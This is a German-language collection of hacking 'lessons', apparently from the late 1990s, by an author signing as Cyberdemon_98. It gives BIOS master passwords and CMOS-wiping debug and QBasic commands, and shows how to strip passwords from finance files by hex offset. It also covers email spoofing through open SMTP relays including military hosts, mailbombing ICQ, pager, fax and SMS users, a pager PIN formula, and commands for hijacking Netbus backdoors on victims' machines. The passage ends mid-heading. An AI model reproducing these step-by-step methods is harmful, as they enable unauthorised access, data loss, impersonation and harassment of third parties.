H	3030	4136	3345	3535	3246	3231	4539	3533	3332	4334	3046	4230	3143	4444	4446
I	3031	4137	3346	3534	3245	3230	4538	3532	3333	4335	3045	4231	3144	4443	4445
J	3032	4134	3343	3537	3244	3233	4542	3531	3330	4336	3044	4232	3145	4446	4444
K	3033	4135	3344	3536	3243	3232	4541	3530	3331	4337	3043	4233	3146	4445	4443
L	3034	4132	3341	3531	3242	3235	4544	3537	3336	4330	3042	4234	3138	4439	4442
M	3035	4133	3342	3530	3241	3234	4543	3536	3337	4331	3041	4235	3139	4438	4441
N	3036	4130	3338	3533	3239	3237	4546	3535	3334	4332	3039	4236	3141	4442	4439
O	3037	4131	3339	3532	3238	3236	4545	3534	3335	4333	3038	4237	3142	4441	4438
P	3138	4245	3236	3444	3337	3339	4631	3442	3241	4443	3137	4138	3034	4335	4337
Q	3139	4246	3237	3443	3336	3338	4630	3441	3242	4444	3136	4139	3035	4334	4336
R	3141	4243	3234	3446	3335	3342	4633	3439	3238	4445	3435	4141	3036	4337	4335
S	3142	4244	3235	3445	3334	3341	4632	3438	3239	4446	3134	4142	3037	4336	4334
T	3143	4241	3232	3439	3333	3344	3635	3446	3245	4438	3133	4143	3030	4331	4333
U	3144	4242	3233	3438	3332	3343	4634	3445	3246	4439	3132	4144	3031	4330	4332
V	3145	4238	3230	3442	3331	3346	4637	3444	3243	4441	3131	4145	3032	4333	4331
W	3146	4239	3231	3441	3330	3345	4636	3443	3244	4442	3130	4146	3033	4332	4330
X	3130	4236	3245	3435	3346	3331	4639	3433	3232	4434	3146	4130	3043	4344	4346
Y	3131	4237	3246	3434	3345	3330	4638	3432	3233	4435	3145	4131	3044	4343	4345
Z	3132	4234	3243	3437	3344	3333	4642	3431	3230	4436	3144	4132	3045	4346	4344
Æ	3845	3238	4230	4442	4131	4146	3637	4444	4243	3441	3831	3345	3932	3533	3531
Ø	3930	3336	4145	4335	4246	4231	3739	4333	4132	3534	3946	3230	3843	3444	3446
Å	3844	3242	4233	4438	4132	4143	3634	4445	4246	3439	3832	3344	3931	3530	3532
0	3738	4445	3436	3244	3537	3539	3931	3242	3441	4243	3737	4338	3634	4135	4137
1	3739	4446	3437	3243	3536	3538	3930	3241	3442	4244	3736	4339	3535	4134	4136
2	3741	4443	3434	3246	3535	3542	3933	3239	3438	4245	3735	4341	3636	4137	4135
3	3742	4444	3435	3245	3534	3541	3932	3238	3439	4246	3734	4342	3637	4136	4134
4	3743	4441	3432	3239	3533	3544	3935	3246	3445	4238	3733	4343	3630	4131	4133
5	3744	4442	3433	3238	3532	3543	3934	3245	3446	4239	3732	4344	3631	4130	4132
6	3745	4438	3430	3242	3531	3546	3937	3244	3443	4241	3731	4345	3632	4133	4131
7	3746	4439	3431	3241	3530	3545	3936	3243	3444	4242	3730	4346	3633	4132	4130
8	3730	4437	3445	3235	3546	3531	3939	3233	3432	4234	3746	4330	3643	4144	4146
9	3731	4437	3446	3234	3545	3530	3938	3232	3433	4235	3745	4331	3644	4143	4145

Anders als in der letzten Lesson, möchte ich euch hier zeigen, wie man das Passwort anhand einer Tabelle entschlüsselt.

Um zuerst einmal an die Daten zu kommen, startet ihr die Registrierung (regedit) und springt zu folgendem Schlüssel:

Hkey_Current_User\ControlPanel\Desktop\ScreenSave_Data

Da angekommen schaut ihr euch die dort stehenden (noch unkenntlichen" Zeichen an, notiert sie euch gegebenfalls, und entschlüsselt das Passwort mit Hilfe der hier aufgeführten Tabelle.

So, dann wünsche ich euch viel Spass beim Entschlüsseln des Passwortes :-)

cu
Cyberdemon_98

P.S.
Meckert nicht darüber, daß die Tabelle nicht gerade wäre...ich weiss es selbst, aber versucht ihr das mal unter Wordpad... :)
Und solltet ihr irgendwelche Fehler finden, schickt mir bitte eine Mail, damit ich dies ändern kann.

Bios Passwortabfrage umgehen:

So,so, da wären wir also wieder.
Nun zu eurem problem: ihr wollt also in ein System vor Ort einbrechen, nur leider klappt es nicht, da das Bios von euch ein Passwort verlangt ???
Dieses Problem zu umgehen sollte bei einigen System wohl der einfachste Part sein.
Einige Bios Typen besitzen nämlich sogenannte Masterkeys (Standard-Passwörter)
mit denen ihr die Bios Passwortabfrage, mit Hilfe eines dieser Passwörter, umgeht ;-)

Award:
Probiert einfach alle diese Masterkeys aus, wenn ihr bei einem scheitern solltet.
Es kann nämlich vorkommen, dass ein spezieller Bios Typ ein bestimmtes Passwort nicht akzeptiert ;-(Und denkt daran, daß euer Bios auf die amerikanische Tastaturbelegung hört...
y=z & ?=_

* 01322222
* 1EAAh
* 256256
* 589589
* 589721
* ?award
* admin
* alfarome
* aLLy
* aPAf
* award
* award_?
* award.sw
* AWARD SW
* AWARD_SW
* AWARD_PW
* award_ps
* AWARD?SW
* awkward
* BIOS
* bios*
* biostar
* biosstar
* CONCAT
* CONDO
* condo
* djonet
* efmukl
* g6PJ
* h6BB
* HELGA-S
* HEWITT RAND
* HLT
* j09F
* j256
* j262
* j322
* j64
* lkw peter
* lkwpeter
* PASSWORD
* SER
* setup
* SKY_FOX
* SWITCHES_SW
* Sxyz
* SZYX
* t0ch88
* t0ch20x
* ttptha
* TTPTHA
* TzqF

* wodj
* ZAAADA
* zbaaaca
* zjaaadc
* zjaaade

Ami:
* ami
* amidecod
* amipswd
* AMIPSWD
* AMI
* A.M.I.
* aammii
* AMI~
* amiami
* AMI.KEY
* AMISETUP
* AMI?SW
* AMI!SW
* AMI_SW
* bios310
* BIOSPASS
* CMOSPWD
* KILLCMOS
* 589589
* ami.kez
*ami°
* helgaßs
* HEWITT RAND

Vobis:
Selbst bei Vobis Rechnern gibt es einen Masterkey, der es ermöglicht die Passwortabfrage zu umgehen:
* merlin

Advance Integration:
* Advance

ALDI (Medion):
* medion

Amptron:
* Polrty

AST:
* SnuFG5

Biostar:
* Biostar
* Q54arwms

Concord:
* last

CTX International:
* CTX_123

CyberMax:
* Congress

Daytek und Daewoo:
* Daytec
* Daewuu

DELL:
* DELL

Digital Equipment:
* komprie

Enox:
* xo11nE

Epox:
* central

Freetech:
* Posterie

HP Vectra Serie:
* hewlpack

IBM:
* IBM
* MBIUO
* sertafu

Iwill
* iwill

Jet Way:
* spoom1

Joss Technology:
* 57gbz6
* Technolgi

MachSpeed:
* sp99dd

Magic-Pro:
* prost

Megastar:
* Star

Micron:
* sldkj754
* xyzall

Micronics:
* dn_04rjc

M Technology:
* mMmM

Nimble:
* xdfk9874t3

Packard Bell:
* Bell9

QDI:
* QDI

Quantex:
* teX1
* xljlbj

Research:
* Col2ogro2

Shuttle:
* Spacve

Siemens Nixdorf:
* SKY_FOX

Speedeasy:
* lesarot1

SuperMicro:
* ksdjfg934t

TMC:
* BIGO

Toshiba:
* 24Banc81
* Toshiba
* toshy99

Vextrec Technology:
* Vextrec

WIMBIOSnbsp BIOS v2.10:
* Compleri

Zenith:
* 3098z
* Zenith

Zeos:
* zeosx

Compaq:
Wie auch die Vobis Kisten, enthalten auch die Compaq Karren einen Masterkey, "compaq".
Finde ich allerdings nicht so einfallsreich :-)

Tinys:
Tinys Bios reagiert auf den Masterkey "Tiny"...ebenfalls einfallsreich...

IBM Aptiva:
Zu diesem Bios Typ gibt es leider ;-(keinen Masterkey, dafür aber eine spezielle Kombination
von Aktionen, die durchgeführt werden um das Bios Passwort zu überbrücken ;-)
* Haltet einfach beide Maustasten gedrückt während das System hoch fährt

Toshiba Laptops:
Wie auch bei IBM existiert bei allen Toshiba Laptops ebenfalls kein Masterkey sondern
eine bestimmte Kombination beim Starten des Systems:
* Haltet die linke Shift-Taste gedrückt, während das System bootet

So, solltet ihr damit keinen Erfolg gehabt haben, so habt ihr noch weitere Changen:
KILLT DEN INHALT DES CMOS ;-)))

Dies geschieht indem ihr einfach einen Jumper (ist Mainboardabhängig) auf "default" umstellt.
Mit dem Trick löscht ihr den kompletten Bios Inhalt des Boards. Schaut am besten in das
Handbuch des Mainboards wie ihr den "Clear-CMOS" Jumper stellen müsst, damit das Bios
das Passwort (achtung: der komplette Inhalt geht damit verloren !!!) vergisst.
Nach etwa 15 - 60 Minuten könnt ihr den Jumper wieder umstellen und nun die Standardwerte
des Bios betrachten ;-)

Ein weiterer Trick um das Passwort zu killen ist ein einfacher debug Befehl mit dem ihr ebenfalls
den kompletten Bios Inhalt ins Nirwana schickt
(klappt aber nur, wenn das Boot Sequence Passwort deaktiviert ist).
Startet den Rechner im MSDos Mode, wo ihr folgende Zeilen eingebt um das Bios zu löschen:

* debug
* o 70 2E
* o71 FF
* Q

Anmerkung: Dieser Debug ist ein Default Debug für alle möglichen Bios Typen.

Dieses kleine "Programm" bewirkt ebenfalls die Passwortabfrage zu kicken ;-)
Sollte dieses Proggy keine Abhilfe schaffen, haben wir immernoch eine Möglichkeit das Passwort, bzw. den kompletten CMOS Inhalt zu löschen:
Startet den MSDos Mode, wo ihr dann QBasic aufruft und folgende zwei Zeilen hineintippt:

```
* 10 OUT &H70,17
* 20 OUT &H71,0
```

Nun führt ihr das Programm noch aus, startet den Rechner neu ... voila das hätten wir ein frisches BIOS.

Was, es geht immer noch nicht ???
Okay, okay, nochmal ganz tief in die Trickkiste greifen. Benutzt folgenden Debug für das AMI & Award Bios...

```
* debug
* o 70 17
* o 71 17
* Q
```

und in QBasic würde das Ganze dann so aussehen:

```
* OUT &H70,&H17:OUT &H71,&H17
```

Wenn ihr ein Programm zum Berechnen des Passwortes für das AMI BIOS schreiben wollt, könnt ihr unter QBasic folgenden Code benutzen:

```
seed = reg(0) AND &HF0

PRINT "Calculating."
FOR count = 1 TO 6
PRINT ".";
bioschar = reg(count)
decchar = 0
IF bioschar <> 0 THEN
DO
decchar = decchar + 1
pass = 0
FOR bit = 0 TO 7
IF (&HC3 AND 2 ^ bit) = 2 ^ bit AND (seed AND 2 ^ bit) = 2 ^ bit THEN
pass = (pass + 1) MOD 2
END IF
NEXT bit
seed = INT(seed / 2) + pass * 128
LOOP WHILE seed <> bioschar
bpass$ = bpass$ + CHR$(decchar)
ELSE
count = 6
END IF
NEXT count
```

Das Programm kursiert im Internet unter dem Namen ami.com !

So, weiterhin heisst es im Internet immer es gäbe kein Default Password für das Phoenix Bios...richtig,
aber wie auch alle anderen Bios Typen kann man dieses debuggen:

```
* debug
* o 70 FF
* o 71 17
* Q
```

Dann kann ich euch hier auch noch eine Lösung zum Reseten des Bios dienen...allerdings muß man Assembler schon etwas kapieren um das folgende Programm richtig zu nutzen:

```
mov dx, 070h
mov al, 02Eh
out dx, al
inc dx
```

```
xor al, al
out dx, al
```

Vergesst dabei aber nicht, dass bei den letzteren Lösungen der komplette Inhalt verloren geht. Für alte Festplatten kann das bedeuten, das diese nicht mehr erkannt werden, da ihr die Parameter nicht mehr wisst ;-.(

Okay, bevor ich dann nun endlich diese Lesson zu den abgehakten Akten lege, kommt noch ein Tip zum Phoenix Bios, und zwar könnt ihr, wenn ihr das Passwort vergessen habt beim Monitor Setup die Taste * !1 * drücken. Bei älteren Phoenix Bios Typen hilft auch ab und zu das Passwort "phoenix".

Einige von euch fragen sich dann auch sicher noch...WIE KOMM ICH EIGENTLICH IN MEIN BIOS??? Selbst diese Frage möchte ich euch hier beantworten und habe eine Liste zusammengeklaut, die einige Bios Typen enthält und deren Kombination...

METHOD	SYSTEM
Del during boot	AMI, Award
Esc during boot	Toshiba
F1 during boot	Toshiba; Phoenix; Late model PS/1 Value Point and 330s
F2 during boot	NEC
F10 when square in top RH corner of screen	Compaq
Ins during boot	IBM PS/2s w/ Reference Partition
Reset twice	Some Dells
Alt Enter	Dell
Alt ?	Some PS/2s
Ctrl-Esc	General
Ctrl Ins	Some PS/2s when pointer at top right of screen
Ctrl Alt Esc	AST Advantage, Award, Tandon
Ctrl Alt +	General
Ctrl Alt S	Phoenix
Ctrl Alt Ins	Zenith, Phoenix
Ctrl S	Phoenix
Ctrl Shift Esc	Tandon 386
Shift Ctrl Alt + Num Pad Del	Olivetti PC Pro
Setup disk	Old Compaqs, Epson (Gemini), IBM, IBM PS/2, Toshiba, most old 286s

So, ich hoffe euch auch diesmal wieder (wenigstens etwas) geholfen zu haben
Cyberdemon_98

P.S.: Solltet ihr weitere Tips, Tricks & Default Passwörter besitzen, die hier nicht aufgeführt sind,
dann bitte ich euch mir diese zuzusenden.
Ich danke Cyber.God für das ALDI/Medion Default Passwort... THX !!!

Passwort Hacking:
==========

Hi,
in meinen vorherigen Versionen habe ich euch viele Lessons präsentiert, wie man Passwörter knackt. Da dies aber zu viel wurde und wird, enthält diese Lesson nun *alle* vorherigen Lessons in einer, die das
Thema Passwort cracken hatten ;-)
Alles was wir für das Cracken der Dateien brauchen ist diese FAQ und einen Hexeditor (Hex Workshop oder so).
Natürlich erstellen wir zum cracken immer eine Kopie des Dokumentes und arbeiten auch nur mit dieser, denn nur
Vollidioten oder absolute Profis nehmen die Originalen.
Ich möchte hier euch folgende Beispiele erklären, wie man aus Dokumenten "vergessene" Passwörter wieder löscht:

- Passwort von ACT! 2 Dokumenten entfernen
- Passwort von Mind Your Own Business Dokumenten entfernen
- Passwort von Money 2.0 Dokumenten entfernen
- Passwort von Money '98 Dokumenten entfernen
- Passwort von Lexmark PC Buchhalter 3.0 Dokumenten entfernen
- Passwort von Quicken 3.0 Dokumenten entfernen
- Passwort von Quicken 4.0 Dokumenten entfernen
- Passwort von Quicken 5.0 & 6.0 Dokumenten entfernen
- Passwort von Quickbooks 4.0 Dokumenten entfernen
- Passwort von Quickbooks 5.0 Pro Dokumenten entfernen

~~~~~~
ACT! 2.0:
SORRY, kommt noch !!!
~~~~~~
Mind Your Own Business:
SORRY, kommt noch !!!
~~~~~~
Money 2.0:
SORRY, kommt noch !!!
~~~~~~
Money '98:
Auch Microsoft's Money '98 ist nicht sicher vor Standard Attacken mit einem Hexeditor :-)

Um Money'98 Dateien mit Hilfe eines Hexeditors zu hacken, öffnen wir die Money Datei (*.mny) in unseren Hexeditor
und suchen die hexadezimale Speicheradresse 0x42 und ersetzen dort die nachstehenden Zeichen durch folgende:
86 FB EC 37 5D 44 9C FA C6 5E 28 E6 13 B6
Zuletzt speichern wir noch unsere neue Money '98 Datei.
Nun folgt wie gewohnt noch der letzte Test, indem wir einfach die Datei mit Money öffnen ... et voila !!!
~~~~~~
Lexmark PC Buchhalter 3.0:
Mit Hilfe des nachfolgenden Tricks zeige ich euch, wie man ganz einfach den Kennwortschutz aus den Dokumenten
der PC Buchhalter v3.0 Serie entfernt.

So, was machen wir zuerst ??? Klar, unseren Hexeditor öffnen. In diesem öffnen wir die Datei "lx_firma.btw".
Nun springen wir zur hexadezimalen Speicherstelle 0x300E, wo wir das Passwort für den Vollzugriff im klaren lesen
können.
Ihr denkt, das wäre schon alles gewesen ??? Falsch !!!
Weiterhin bewegen wir uns hin bis zur Speicherstelle 0x3038, wo wir das Passwort für den eingeschränkten Zugriff
erblicken.
Halt ! Ihr denkt doch wohl immer noch nicht, das das alles gewesen sein soll ? War es auch nicht.
Es fehlen doch noch die Passwörter, sollten eventuell mehrere Firmen eingerichtet sein.
Diese, wie auch sonst finden wir diese im Klartext, an den Speicherstellen: 0x1F0A und 0x360E.
Also, ich finde die PC Buchhalter Programmierer haben uns dieses Spiel wirklich einfach gemacht ;-)
Aber das soll dann ja nicht unser Problem sein...
~~~~~~

~~~~~~
Quicken 3.0
So, jetzt nehmen wir uns mal die Quicken Software vor. Allerdings funktioniert der nachstehende Trick nur bei der
Version 3.0.

Wie gewohnt öffnet ihr euren Hexer und holt euch dort die zu crackende Quicken (*.qdt) Datei rein.
Nun sucht ihr nach folgenden Offsets: 445, 446, 447
Solltet ihr sie nach und nach abklappern, ersetzt die dort stehenden Werte einfach durch: 00 00 00
Nun vergesst nicht, euer Dokument zu speichern und zu überprüfen, ob das Passwort auch wirklich entfernt ist :-)
~~~~~~
Quicken 4.0:
Hier zeige ich euch, wie ihr das Passwort von Quicken v4.0 Dokumenten ganz einfach mit Hilfe eines Hexeditors entfernt.

Startet euren Hexeditor und öffnet die Quicken v4.0 Datei (*.qdt), die ihr knacken wollt.
Nun suchen wir die hexadezimale Speicherstelle 0x4425, was dezimal 17445 entspricht, und springen dort hin.
Dort ersetzen wir die folgenden Werte einfach durch: 00 00 00
Das war's auch schon, d.h. das Dokument speichern, mit Quicken 4 öffnen und staunen, wo die Passwortabfrage
geblieben ist.
~~~~~~
Quicken 5.0 & 6.0:
Hier geht es nun um Quicken 5.0 & 6.0 Passwörter.

Zuerst den Hex-Editor starten und die Quicken Datei (*.qdb) laden.
Dort springen wir an die hexadezimale Speicherstelle "0x4425".
Dort beginnend ersetzen wir die bestehenden Zeichenketten durch die folgende hexadezimale Zeichenkette: 00 00 00
Nun speichern wir das Dokument, öffnen es mit Quicken, und voila, man sieht das Passwort wird nicht mehr abgefragt.
~~~~~~
Quickbooks 4.0:
In den vorherigen Lessons ging es um Quicken Passwörter. Hier dreht sich alles um Quickbooks Passwörter.

Wie gewohnt starten wir hierzu unseren Hexeditor, öffnen die zu dekodierende Quickbooks Datei (*.qbw) und suchen
folgende hexadezimale Speicherstelle: 0x1DC8
Dort ersetzen wir die stehende Zeichenkette durch eine neue: EA 02 41 9B 80 2B 62 95 2E FE A4
Zuletzt speichern wir noch unser Dokument und versuchen es mit Quickbooks zu öffnen.
Sollte alles glatt gelaufen sein, könnt ihr nun das volle Dokument geniessen, auch ohne die Eingabe eines Passwortes :-)
~~~~~~
Quickbooks Pro 5.0:
Wie sollte es auch sonst sein, das die Programmierer von Inuit Quickbooks Pro v5.0, die Verschlüsselung verbessert
hätten ? Haben sie nämlich nicht. Nun ja, uns soll das aber trotzdem weiterhin nicht stören, denn wir können dies dazu
verwenden, um unsere Passwörter wieder zu rekonstrurieren.

Wir laden unsere Quickbooks Datei in ... wohin ??? Klare Sache, in unseren Hexeditor.
Dort suchen wir nach dem Offset: 00 00 1D D3 , wo wir zwischen der 1 und der 11 Werte sehen, die keine Null enthalten.
Jeder dieser Werte steht für ein Zeichen des Passwortes.
Vielleicht sollten wir mal ausprobieren, diese Werte einfach durch 00 zu ersetzen. Könnte dies vielleicht klappen ???
Nicht vielleicht, klare Sache !!!
Es läuft nun auch ohne das vorher vergebene Passwort ;-)
~~~~~~

So, das war auch schon die Lesson über das entfernen von Passwörtern aus diversen Dokumenten.
Ich hoffe, das ihr diese Informationen gebrauchen könnt wenn ihr eure Passwörter mal vergessen solltet ;-)
Bis zur nächsten Lesson sagt:

Cyberdemon_98

Fake Emails verschicken:
==========

Hallöchen ;-)
Heute will ich euch gerne etwas mehr darüber unterrichten, wie man im Internet unter einem falschen Namen eine E-Mail verschickt ;-)

Wer wollte das noch nicht von euch ???
Oder findet ihr es nicht lustig wenn jemand eine E-Mail bekommt dessen Absender Gates@Microsoft.com ist ???

Also, ich schon und genau aus diesem Grund habe ich dieses Tutorial geschrieben (naja, es war nicht der einzige, aber einer davon).

Als erstes greift ihr mit Telnet über Port 25 auf einen beliebigen Web-Server zu.
Dies geschieht indem ihr in der DOS-Eingabeaufforderung eintippt:
telnet web.server 25
(Der Port 25 ist der Mail-Port und beim Aufbau einer Verbindung zu einem Web-Server kommuniziert ihr
mit dem Mail-daemon mittels SMTP)
Da es sowieso genug Web-Server gibt, dürftet ihr wohl keine Probleme haben einen zu finden und ihn zu "missbrauchen" ;-)

Wenn ihr dort im System seit, nutzt folgende Kommandos um eine Fake Mail zu versenden:
mail from eure@adresse.com
Dieser Befehl bewirkt, das die E-Mail den Absender trägt, den ihr anstatt von eure@adresse.com nutzt.

Nun aber weiter:
Jetzt brauchen wir natürlich jemanden, dem wir eine Fake Mail schicken wollen.
Das System wartet auf folgende Eingabe:
rcpt to: empfänger@der.mail.com
Wiederum gilt hier eine E-Mail Adresse einzutragen, und zwar die der die Fake-Mail erhalten soll.

Nun gebt ihr das Wort "data" ein.

Erst jetzt folgt eure eigentliche Nachricht.
Tippt sie ein und dann in einer neuen Zeile einfach "." eingeben um die Fake-Mail zu versenden ;-)

Na, war das mal nicht wieder super einfach ???
Man muss nur wissen wie es geht und nachdem ihr hier angelangt seit, wisst ihr es ja ;-)

Wenn ihr ganz anonym bleiben wollt, könnt ihr folgende Seite im Internet aufrufen um von dort aus E-Mails verschicken, die eure wahre Identität nicht preisgeben:

http://www.anonymizer.com

Tragt dort einfach die E-Mail Adresse ein, an die die Mail geschickt werden soll, den Betreff und die
eigentliche Nachricht. Nun gibt es dort nur noch einen Button den ihr drücken müsst: SEND ;-)

Wiedereinmal hatte ich an diesem Tutorial genauso viel Spass wie an den anderen.
Ich hoffe, dass ihr alles verstanden habt und wenigstens genauso viel gelernt habt wie ich

Cyberdemon_98

Eine Liste diverser Mailserver findet ihr hier oder unter www.cyberamy.com:

centerof.thesphere.com, misl.mcp.com, jeflin.tju.edu, arl-mail-svc-1.compuserve.com
alcor.unm.edu, mail-server.dk-online.dk, lonepeak.vii.com, burger.letters.com
aldus.northnet.org, netspace.org, mcl.ucsb.edu, wam.umd.edu, atlanta.com
elmer.anders.com, venus.earthlink.net, urvax.urich.edu, vax1.acs.jmu.edu
loyola.edu, cornell.edu, brassie.golf.com, quartz.ebay.gnn.com, acad.bryant.edu
palette.wcupa.edu, utrcgw.utc.com, umassd.edu, trilogy.usa.com, mit.edu
corp-bbn.infoseek.com, vaxa.stevens-tech.edu, ativan.tiac.net, miami.linkstar.com
wheel.dcn.davis.ca.us, kroner.ucdavis.edu, ccshst01.cs.uoguelph.ca, server.iadfw.net
valley.net, grove.ufl.edu, cps1.starwell.com, unix.newnorth.net, mail2.sas.upenn.edu
nss2.cc.lehigh.edu, pentagon.mil, blackbird.afit.af.mil, denise.dyess.af.mil

cs1.langley.af.mil, wpgate.hqpacaf.af.mil, www.hickam.af.mil, wpgate.misawa.af.mil
guam.andersen.af.mil, dgis.dtic.dla.mil, www.acc.af.mil, redstone.army.mil

EMail Bomber mal ganz anders:
==========

In der heutigen Hacking Lesson will ich euch zeigen, was man mit seinem Mailbomber noch so alles bomben kann ;-) wie z.B. mit lästigen ICQ Usern, Scall und Quix Usern.
Der Mailbomber den ich bevorzuge nennt sich Warfair, denn der ist super-schnell und zudem noch in Deutsch :-)))
Okay, zuerst fangen wir mit ICQ an:

Stell dir vor, das dir jemand den du über ICQ kennst, dir ziemlich auf den Sack geht.
Was tun wir also ???Wie wäre es wenn du ihn einfach ein bischen ärgerst indem du ihm ein "paar" Messages schickst. Solltest du es versuchen manuell zu tun, musst du eine Menge Zeit in diese Aktion investieren.
Es gibt aber auch eine elegantere Methode indem du einfach deinen Mailbomber etwas umfunktionierst. Du nutzt deinen Mailbomber sozusagen als ICQ Bomber ;-)

Alles was du hierfür brauchst ist ein ICQ Opfer (dessen ICQ UIN du kennen musst) und einen Mailbomber (gehört in jede Sammlung).
Trage in deinen Mailbomber als Emailadresse deines Opfers einfach ein:

ICQUIN@pager.mirabilis.com

wobei die ICQUIN die ICQ Nummer deines Opfers ist.
Nun stellst du noch die Anzahl der Messages ein, die er bekommen sollst und überlässt nun deinem Bomber die Arbeit, die er auch promt erledigen wird ;-)

So, das hätten wir
Nun aber zu dem umgekehrten Fall: Du wirst Opfer einer solchen ICQ Attacke.
Was zu tun ist ???
Eine ganz einfache Sache:
Starte dein ICQ und übernimm folgende Einstellungen:
* ICQ
* Security & Privacy
* Do not accept EmailExpress Messages

So, nachdem wir kennengelernt haben, wie es funzt ICQ User zu nerven, kommen nun noch die Beispiele mit Scall und Quix.
Das Prinzip ist das gleiche wie bei ICQ...also zuerst die addy (bzw. Nummer) dann die Host-Domain.
Bei Scall würde das ganze wie folgt ablaufen:

Scall-Nummer@Scall.de

Also tragen wir in den Mailbomber als Empfänger-Adresse die Scallnummer@Scall.de ein.
So, nun drücken wir nur noch SEND...

Bei Quix läuft es wiederum ähnlich ab, nämlich setzt sich die Empfänger-Adresse wieder aus Nummer und Host Domain zusammen. Die Rufnummer des Quix inkl. Vorwahl ist 0165-6-1234567.
Dann lautet die E-Mail-Adresse des Quix-Empfängers:

1234567@quix-it.de

Ganz einfach in den Mailbomber die Rufnummer@quix-it.de eintragen und losbomben :-) Die maximale Nachrichtenlänge bei Quix beträgt 117 Zeichen, 80 Zeichen bei Scall und 15 Zeichen bei Scall Numeric.

Und, war das nicht einfach ???
Ich finde, das man auf diese Weise ganz einfach Leute derart mit ihren Nachrichten beschäftigen kann, so dass sie einen in Ruhe lassen ;-)
Ach, da fällt mir gerade noch eine schöne Sache ein: FAX Geräte bomben :-)
Wieder den Mailbomber hochfahren, und als Empfänger Adresse folgende Zeile eintippen:

remote-printer.NAME/ORT@49yyyyxxxxx.iddd.tpc.int

NAME Name des Empfängers
ORT   Ort des Empfängers
y   Vorwahl ohne 0
x   Faxnummer

So, dann nur noch den verfi**ten SEND Button antippen und los...
Nachteil dieser Aktion ist, daß eine echte Mailadresse im Mailbomber angegeben wird, über die Du auch verfügst, da eine Sendbestätigung via Mail nochmal kommt :-(
Ist aber ansonsten eine feine Sache ...*g*

SMS Bomben ein Problem ??? Mittlerweile nicht mehr, da immer mehr Läden im Internet ein Mailkonto anbieten, das euch auch via SMS mitteilt, das in euerm Postfach eine neue Mail auf euch wartet.
Das Prinzip ist ganz einfach. Du legst einfach bei einem der Dienstanbieter ein Konto an, dessen Benachrichtigung via Mail Du aktivierst und als Zielrufnummer die Nummer des Opfers eingibst, was gebombt werden soll.
Ein Service z.B. ist DirectBox, den ihr unter www.directbox.com findet. Weitere kannst Du unter www.kostenlos.de nachschauen. Wenn ihr nun die Weiterleitung auf's Handy aktiviert habt, bombt ihr den Account mit Hilfe eines Mailbombers zu. Der auf den die Weiterleitung eingestellt ist, bekommt nun über jede eingegangene E.Mail eine Benachrichtigung... feine Sache, oder ??? Hehehe...

Im Internet kursieren auch einige SMS-Bomber, die SMS Nachrichten direkt über die SMSC der diversen Mobilfunkprovider schicken. Also einfach danach suchen oder die obige Methode benutzen.

Bis zur nächsten Hacking Lesson dann...

MFG
Cyberdemon_98

P.S.: Hier noch eine Liste der schnellsten Mail-Server:
mail.microsoft.de
mail2.microsoft.com
mail.ccc.de

Pincodes der Pager:
==========

So. da seit ihr also schon wieder ???
In dem euch vorliegenden Tutorial möchte ich euch zeigen, wie einfach es ist,
die Pincodes einiger Pager zu knacken ;-)

Das euch hier vorliegende Tutorial beinhaltet das Knacken der PINs von Scall & Skyper.
Die Hersteller der Pager verwenden ein ganz einfaches Verfahren und einem Hacker
namen "Littlehack" ist es gulungen dieses zu knacken.

Zuerst einmal brauchen wir die Rufnummer des Pagers, die wir dann in einen
Taschenrechner eingeben.
Nehmen wir also an das die Rufnummer "5327866" ist, so geben wir diese Nummer in unseren
Tasschenrechner und ziehen einen Wert von "6296" ab.
Das Ergebnis, das wir erhalten ist: "5321570"
Und schon wissen wir wie der PIN lautet.
Wie, ihr wisst es noch nicht ???
Okay, ganz einfach, ich erkläre es euch ;-)
Wir nehmen das Ergebnis der Rechnung und zerlegen es in zwei Teile:
"532" & "1570"
Was uns davon interessiert ist der letztere Teil (die letzen 4 Stellen des Ergebnisses).
Na, kommt ihr jetzt drauf ???
Der PIN der Rufnummer "5327866" ist: "1570"

So, hier folgt nochmal alles in kleinerer Ausführung.
Was wir wissen müssen ist die Rufnummer. Von dieser ziehen wir den Wert "6296" ab und
die letzten 4 Stellen des Ergebnisses ist der PIN-Code.

Ist das nicht alles zu einfach ???
Nein, es funktioniert und man kann echt sagen, das die Hersteller der Pager schlampig gearbeitet
haben,
aber das können wir ja nur zu unserem Vorteil machen

Das war's dann auch schonmal wieder
Ich hoffe, dass ihr dieses neue Wissen nun einsetzen könnt ;-)

Bis zur nächsten Hacking Lesson
Cyberdemon_98

P.S.: Wir könnten auch eine "Formel" für diese Berechnung aufstellen, die dann folgendermaßen
aussieht:
Rufnummer - 6296 = Ergebnis ; die letzten 4 Stellen sind der PIN

Bei einigen Pagern kann es sein, das nur die letzten 3 Stellen des PINs richtig sind.
Sollte dies der Fall sein, probiert einfach die zehn Möglichkeiten durch, denn mehr habt
ihr ja nicht.

Der Bug mit den letzten 3 Stellen war mir schon bekannt, wurde freundlicherweise nochmal von
G@ngsta bestätigt ;-)

Netbus Server Passwort hacken:
==========

Huhu,
ihr habt irgendeinem Idioten im Netz Netbus aufgespielt, ihm ein Passwort zugewiesen, aber mittlerweile das Passwort vergessen ???
No Prob, entweder ihr nehmt einen der zahlreichen Passwort Hacker oder ihr macht das ganze nach der "Cyber-Art" :-))

Zuerst einmal braucht ihr die IP. Solltet ihr diese nicht haben, dann lest nicht weiter !!!
Okay, wenn ihr die IP habt, dann macht einen Telnet auf die IP und den Port...
Für die etwas weniger Fortgeschrittenen unter uns erkläre ich es wie immer Schritt für Schritt...

- Start anklicken
- Ausführen anklicken
- folgene Zeile eingeben:
  telnet IP Port

Es könnte zum Beispiel so aussehen:
telnet 212.122.32.45 12345
d.h. er connectet via Telnet auf die IP 212.122.32.45 und auf den Port 12345, wo ja gewöhnlich Netbus liegt... Also weiter, wenn er euch erfolgreich connectet hat, dann steht da was wie "Netbus v1.x" oder so...gut !!!
Nun tippt ihr im Telnet Terminal folgenden Befehl:

"Password;1;"

natürlich wieder ohne die "". Okay, das war dann das Passwort, und wenn ihr dann noch den armen Deppen von Netbus befreien wollt, gebt ihr noch folgendes ein:

"RemoveServer;1;"

Dann solltet ihr eine Meldung erhalten wie: "Connection was closed".
Sollte auf dem Remote Rechner eine etwas ältere Netbus Version laufen und der Befehl "RemoveServer" nicht funzen, dann probiert mal "GetInfo;0;".
Das dürfte dann Netbus gewesen sein...

Sehr schön...
Okay, das war das...

cu
Cyberdemon_98

P.S.: Zur Netbus Administration via Telnet gibt es noch unendlich viele Befehle, die ich
        später auch noch einmal zusammenfassen werde und sie in einer FaQ veröffentliche...

Header Informationen lesen:
=======================

Hi !
